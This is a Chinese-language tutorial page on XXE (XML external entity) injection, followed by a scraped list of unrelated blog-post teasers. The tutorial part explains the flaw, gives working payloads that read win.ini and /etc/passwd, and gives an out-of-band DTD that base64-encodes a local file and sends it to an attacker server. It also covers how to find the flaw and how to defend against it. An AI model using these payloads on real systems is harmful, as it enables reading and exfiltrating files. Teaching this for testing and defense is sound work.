xxe攻击(XML外部实体)
1.定义
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
http://www.w3school.com.cn/dtd/index.asp 了解地址
2.原理
XXE(XML外部实体注入) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。
http://10.0.0.139:92/phpinfo.php ctrl +f 搜索输入内容

默认为false

3.XXE攻击
- 有回显
<?xml version = "1.0"?> <!DOCTYPE note [
<!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]>
<name>&hacker;</name>//定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">
win操作系统读出来就是有xxe漏洞 Linux 读/etc/passswd
- 无回显
建立*.dtd(攻击者服务器)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64encode/resource=file:///c:/1.txt"> //被攻击的文件
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.0.0.128:80/?p=%file;'>">//内部的%号要进行实体编码成%
在被攻击机创建1.txt 攻击机使用apache
apache的日志文件里面查看
解码base64
xml调用
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://10.0.0.128:88/test.dtd">
%remote;%int;%send;
]>
4.如何找xxe漏洞
- 白盒测试
查看代码里面是否使用了LoadXML( )函数
- 黑盒测试
抓包看响应体是否存在xml,accept头是否接受xml
抓包修改数据类型,把json改成xml来传输数据,后面修改一句话
http://web.jarvisoj.com:9882/ 例子
出来的样子
json的数据提交
改为xml,下面改为
<?xml version = "1.0"?> <!DOCTYPE note [
<!ENTITY hacker SYSTEM "file:///etc/passwd" > ]> <name>&hacker;</name>
打比赛的ctf地址
- 特征
看到url文件名是否 .ashx后缀扩展名
响应体为xml
5.防范方法
1、升级php版本
2、程序员修改代码
PHP:
libxml_disable_entity_loader(true);JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
3、过滤关键词
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
相关文章:
xxe攻击(XML外部实体)
1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 http://www.w3school.com.…...
大数据-hadoop
1.hadoop介绍 1.1 起源 1.2 版本 1.3生产环境版本选择 Hadoop三大发行版本:Apache、Cloudera、Hortonworks Apache版本最原始的版本 Cloudera在大型互联网企业中用的较多 Hortonworks文档较好 1.4架构 hadoop由三个模块组成 分布式存储HDFS 分布式计算MapReduce 资源调度引擎Y…...
容器启动报错
容器启动报错 docker: Error response from daemon: driver failed programming external connectivity on endpoint XXX 如下: 据百度: 在docker启动后在,再对防火墙firewalld进行操作,就会发生上述报错 详细原因:…...
求生之路2服务器搭建插件安装及详细的游戏参数配置教程linux
求生之路2服务器搭建插件安装及详细的游戏参数配置教程linux 大家好我是艾西,在上一篇文章中我用windows系统给搭建演示了一遍怎么搭建自己的L4D2游戏。 那么也有不少小伙伴想知道linux系统的搭建方式以及在这个过程中有什么区别。 那么艾西今天就跟大家分享下用lin…...
IntelliJ IDEA 左侧Commit栏不见了
1.点击File->Settings->Version Control->Commit 2.勾选Use non-modal commit interface...
使用自功率谱、互功率谱估计滤波器幅频特性
这段时间终于对工程中的随机信号的一般处理方式有点头绪了,功率谱密度估计是十分重要的方式之一,仍需继续深入细化相关内容。 示例:使用自功率谱、互功率谱估计滤波器幅频特性,自己实现 & Matlab自带函数实现。 clc;clear;cl…...
51单片机光照强度检测自动路灯开关仿真( proteus仿真+程序+报告+讲解视频)
51单片机光照强度检测自动路灯开关仿真( proteus仿真程序报告讲解视频) 仿真图proteus7.8及以上 程序编译器:keil 4/keil 5 编程语言:C语言 设计编号:S0052 讲解视频 基于51单片机的光照检测自动路灯控制仿真设计( proteus仿…...
socat管理haproxy配置
文章目录 前言一、配置二、简单使用1. 先安装 socat2. 获取 haproxy 的监控数据 总结 前言 我们可以通过 socat 命令 实现对 haproxy 的管理,包括获取监控数据,对后端服务器实现启动停止,服务流量控制等等。 一、配置 要想 haproxy 支持通过…...
Linux发行版X华为鲲鹏openEuler
前言 作为硬件和软件之间的桥梁,我接触的最多的就是Windows和Centos,还记得最初的鸟哥的Linux私房菜,而Centos即将停止维护更新(Centos7维护到2024),对于个人学习来说没有任何影响,但是对于企业…...
计算机网络相关知识点
谈一谈对OSI七层模型和TCP/IP四层模型的理解? 这两种模型都是网络通信中重要的参考模型,他们的设计和功能有一些区别。 首先OSI,OSI七层模型,也被称为开放系统互联参考模型,是一种在国际标准化组织(ISO)中…...
Jmeter+Ant+Git+Jenkins持续集成介绍
【软件测试面试突击班】如何逼自己一周刷完软件测试八股文教程,刷完面试就稳了,你也可以当高薪软件测试工程师(自动化测试) 一 简介 1.什么是ant? ant是构建工具 2.什么是构建 概念到处可查到,形象来说ÿ…...
Spring Cloud Gateway实战WebFlux解析请求体及抛出指定错误代码和信息
概述 基于Spring Cloud开发微服务时,使用Spring Cloud原生自带的Gateway作为网关,所有请求都需要经过网关服务转发。 为了防止恶意请求刷取数据,对于业务请求需要进行拦截,故而可在网关服务增加拦截过滤器。基于此,有…...
Servlet开发-通过代码案例熟悉HttpServletRequest类
关于Servlet开发的流程推荐看servlet开发-通过Tomcat部署一个简单的webapp Servlet开发与idea集成的插件安装推荐看idea集成tomcat(Smart Tomcate插件安装) postman(第三方创建HTTP请求工具)的安装推荐看创建HTTP请求的几种方式…...
离线环境harbor 搭建及使用
一 摘要 本文主要介绍harbor 的安装及使用。 二 环境信息及部署图 2.1 环境信息 名称版本备注操作系统centos7.9容器docker 23.0.1harbor2.7代理nginx待补充 2.2 架构图 说明: 1.harbor 核心服务里有个nginx ,也可以用该nginx 做代理 2.proxy-ngin…...
华为杯数学建模比赛经验分享
再过一周左右,第二十届华为杯数学建模比赛就要开赛了,所以今天分享一下个人数学建模比赛的经验。 今天给大家分享一期关于华为杯数学建模比赛的经验分享,我将从以下三个方面展开说明: (1)如何准备数学建模比赛&#x…...
c语言 - 实现每隔1秒向文件中写入当前系统时间
实现思路 主要是通过库函数和结构体获取当前系统时间(年月日和时分秒)保存到变量里,然后通过格式化输出函数将当前系统时间输出到文件中去。 但是需要注意的是题目要求每隔 1 s对系统时间进行输出,所以需要加入 sleep()函数进行调…...
使用cpolar端口映射的方法轻松实现在Linux环境下SVN服务器的搭建与公网访问
文章目录 前言1. Ubuntu安装SVN服务2. 修改配置文件2.1 修改svnserve.conf文件2.2 修改passwd文件2.3 修改authz文件 3. 启动svn服务4. 内网穿透4.1 安装cpolar内网穿透4.2 创建隧道映射本地端口 5. 测试公网访问6. 配置固定公网TCP端口地址6.1 保留一个固定的公网TCP端口地址6…...
前后台分离开发 YAPI平台 前端工程化之Vue-cli
目录 YAPI介绍前端工程化之Vue-cli前端工程化简介前端工程化入门——Vue-cli环境准备Vue项目简介创建Vue项目vue项目目录结构介绍vue项目运行方法 Vue项目开发流程 前后台混合开发这种开发模式有如下缺点: 沟通成本高:后台人员发现前端有问题࿰…...
【js/es6】合集
目录 随机生成字符串每十个字符换行 随机生成字符串 function generateRandomAlphaNum(len) {var rdmString "";for (; rdmString.length < len; rdmString Math.random().toString(36).substr(2));return rdmString.substr(0, len); }每十个字符换行 string.…...
Nginx modules build fail:field ‘pkt6’ has incomplete type
前言 最近升级Nginx 1.24.0,编译第三方module出错: /usr/src/nginx_modules/ngx_json_post_module/src/ngx_json_post_module.c In file included from src/event/ngx_event.h:526,from src/http/ngx_http_upstream.h:14,from src/http/ngx_http.h:34,…...
如何快速掌握co:异步代码复用与模块化终极指南
如何快速掌握co:异步代码复用与模块化终极指南 【免费下载链接】co The ultimate generator based flow-control goodness for nodejs (supports thunks, promises, etc) 项目地址: https://gitcode.com/gh_mirrors/co/co co是Node.js生态中一款强大的基于生…...
爱搜索 GEO 营销系统实效展示与能力验证
在当前的数字营销环境中,许多企业发现传统的 SEO 手段在应对 AI 驱动的搜索场景时显得力不从心。当潜在客户向大模型提问“哪家装修公司更靠谱”或“推荐几家铝板输送机厂家”时,如果品牌未能出现在 AI 生成的答案中,就意味着失去了最精准的流…...
从玩具到工具:Dobot Magician桌面机械臂开箱与Blockly图形化编程初体验
从玩具到工具:Dobot Magician桌面机械臂开箱与Blockly图形化编程初体验 第一次见到Dobot Magician时,它安静地躺在包装箱里,像一件精致的工业艺术品。作为一款定位教育和个人创客市场的桌面级机械臂,它的价格只有工业机械臂的零头…...
3分钟掌握AMD Ryzen调试神器:SMUDebugTool终极使用指南
3分钟掌握AMD Ryzen调试神器:SMUDebugTool终极使用指南 【免费下载链接】SMUDebugTool A dedicated tool to help write/read various parameters of Ryzen-based systems, such as manual overclock, SMU, PCI, CPUID, MSR and Power Table. 项目地址: https://g…...
使用taotoken cli工具一键配置ubuntu开发环境中的多工具密钥
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 使用taotoken cli工具一键配置ubuntu开发环境中的多工具密钥 在开发环境中接入多个大模型工具时,手动配置每个工具的AP…...
2026公考培训机构综合评测:粉笔教育领跑,线上线下一体化成关键优势
【评测说明】 2026年公考培训市场持续分化,考生在选择机构时,不再只看“名师”或“价格”,而是综合考量上榜概率、资金安全、学习便捷性。本文从上岸数据可验证性、性价比、退费效率、师资体系稳定性、线上线下覆盖能力五大维度,对…...
壹:烧录Linux系统
名词解析:OTG:On-The-Go,含义:OTG 是一种 USB 的扩展功能,允许设备(如手机、开发板)在没有主机(如电脑)的情况下,既可以作为 USB 主机(Host&#…...
1394-AM75伺服驱动器
1394-AM75 是艾伦-布拉德LEY(Allen-Bradley)系列的一款伺服驱动器,控制精度高、响应迅速,适用于工业自动化中的精密运动控制。中间 15 条特点:结构紧凑,便于安装于控制柜内。支持宽电压输入范围,…...
OmenSuperHub终极指南:5分钟掌握惠普游戏本风扇控制与性能解锁
OmenSuperHub终极指南:5分钟掌握惠普游戏本风扇控制与性能解锁 【免费下载链接】OmenSuperHub 使用 WMI BIOS控制性能和风扇速度,自动解除DB功耗限制。 项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub OmenSuperHub是一款专为惠普OME…...
Qt跨平台崩溃捕获实战:集成qBreakpad与符号化调试全流程
1. 为什么需要崩溃捕获系统? 当你开发的Qt应用程序在用户电脑上崩溃时,最头疼的问题是什么?没错,就是无法复现和定位问题。用户可能只会简单反馈"程序闪退了",而你要在数百个源代码文件中大海捞针。这就是为…...







